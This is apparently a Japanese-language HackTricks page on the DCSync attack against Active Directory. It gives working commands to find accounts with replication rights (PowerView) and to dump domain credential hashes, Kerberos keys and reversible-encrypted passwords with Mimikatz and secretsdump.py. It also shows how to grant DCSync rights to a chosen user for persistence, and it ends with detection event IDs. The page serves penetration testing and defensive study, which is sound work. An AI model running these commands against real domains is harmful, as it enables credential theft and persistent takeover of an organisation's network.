hacktricks/windows-hardening/active-directory-methodology/dcsync.md

7.9 KiB
Raw Blame History

DCSync


Trickestを使用して、世界で最も高度なコミュニティツールを駆使したワークフローを簡単に構築し、自動化します。
今すぐアクセス:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

htARTE (HackTricks AWS Red Team Expert)でAWSハッキングをゼロからヒーローまで学ぶ

HackTricksをサポートする他の方法

DCSync

DCSync権限には、ドメイン自体に対するこれらの権限が含まれます:DS-Replication-Get-ChangesReplicating Directory Changes AllReplicating Directory Changes In Filtered Set

DCSyncに関する重要な注意点

  • DCSync攻撃はドメインコントローラの動作をシミュレートし、他のドメインコントローラにディレクトリレプリケーションサービスリモートプロトコルMS-DRSRを使用して情報のレプリケーションを依頼します。MS-DRSRはActive Directoryの有効かつ必要な機能であるため、オフにしたり無効にすることはできません。
  • デフォルトでは、ドメイン管理者、エンタープライズ管理者、管理者、およびドメインコントローラグループのみが必要な権限を持っています。
  • アカウントのパスワードが可逆暗号化で保存されている場合、Mimikatzにはパスワードをクリアテキストで返すオプションがあります。

列挙

powerviewを使用して、これらの権限を持っているユーザーを確認します:

Get-ObjectAcl -DistinguishedName "dc=dollarcorp,dc=moneycorp,dc=local" -ResolveGUIDs | ?{($_.ObjectType -match 'replication-get') -or ($_.ActiveDirectoryRights -match 'GenericAll') -or ($_.ActiveDirectoryRights -match 'WriteDacl')}

ローカルでのエクスプロイト

Invoke-Mimikatz -Command '"lsadump::dcsync /user:dcorp\krbtgt"'

リモートでのエクスプロイト

secretsdump.py -just-dc <user>:<password>@<ipaddress> -outputfile dcsync_hashes
[-just-dc-user <USERNAME>] #To get only of that user
[-pwd-last-set] #To see when each account's password was last changed
[-history] #To dump password history, may be helpful for offline password cracking

-just-dcは3つのファイルを生成します

  • NTLMハッシュを含むファイル
  • Kerberosキーを含むファイル
  • 可逆暗号化が有効に設定されたアカウントのNTDSからの平文パスワードを含むファイル。可逆暗号化を使用しているユーザーは以下のコマンドで取得できます。
Get-DomainUser -Identity * | ? {$_.useraccountcontrol -like '*ENCRYPTED_TEXT_PWD_ALLOWED*'} |select samaccountname,useraccountcontrol

永続性

ドメイン管理者であれば、powerviewを使って任意のユーザーにこの権限を付与することができます:

Add-ObjectAcl -TargetDistinguishedName "dc=dollarcorp,dc=moneycorp,dc=local" -PrincipalSamAccountName username -Rights DCSync -Verbose

その後、以下の出力内の"ObjectType"フィールド内に特権の名前が表示されていることを確認することで、ユーザーに3つの特権が正しく割り当てられたかどうかをチェックできます。

Get-ObjectAcl -DistinguishedName "dc=dollarcorp,dc=moneycorp,dc=local" -ResolveGUIDs | ?{$_.IdentityReference -match "student114"}

軽減策

  • セキュリティイベントID 4662オブジェクトの監査ポリシーが有効になっている必要があります - オブジェクトに対して操作が実行されました
  • セキュリティイベントID 5136オブジェクトの監査ポリシーが有効になっている必要があります - ディレクトリサービスオブジェクトが変更されました
  • セキュリティイベントID 4670オブジェクトの監査ポリシーが有効になっている必要があります - オブジェクトの権限が変更されました
  • AD ACL Scanner - ACLのレポートを作成し、比較します。 https://github.com/canix1/ADACLScanner

参考文献

AWSハッキングをゼロからヒーローまで学ぶには htARTE (HackTricks AWS Red Team Expert)をご覧ください!

HackTricksをサポートする他の方法:


世界で最も進んだコミュニティツールを駆使して、簡単にワークフローを構築し自動化するためにTrickestを使用してください。
今すぐアクセス:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}